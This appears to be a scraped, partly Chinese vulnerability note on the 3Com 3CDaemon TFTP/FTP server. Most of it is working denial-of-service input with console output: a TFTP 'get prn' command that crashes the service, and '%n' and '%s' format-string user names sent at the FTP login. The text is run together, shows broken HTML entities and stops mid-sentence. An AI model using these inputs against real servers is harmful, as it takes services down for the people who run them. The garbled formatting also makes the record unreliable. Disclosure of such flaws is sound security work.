3COM 3CDaemon，可导致TFTP系统服务挂起来：D:\WINDOWS\system32gt;tftp -i 192.168.0.1 get prnThe 3CDaemon will be crashed with some msgs like"Microsoft Visual C Runtime library""Runtime Error！可导致守卫程序流程奔溃：H:\gt;ftp 192.168.0.1Connected to 192.168.0.1.220 3Com 3CDaemon FTP Server Version 2.0User (192.168.0.1:(none)): %nConnection closed by remote host.OR:H:\gt;ftp 192.168.0.1Connected to 192.168.0.1.220 3Com 3CDaemon FTP Server Version 2.0User (192.168.0.1:(none)): %s331 User name ok，rename，3COM 3CDaem...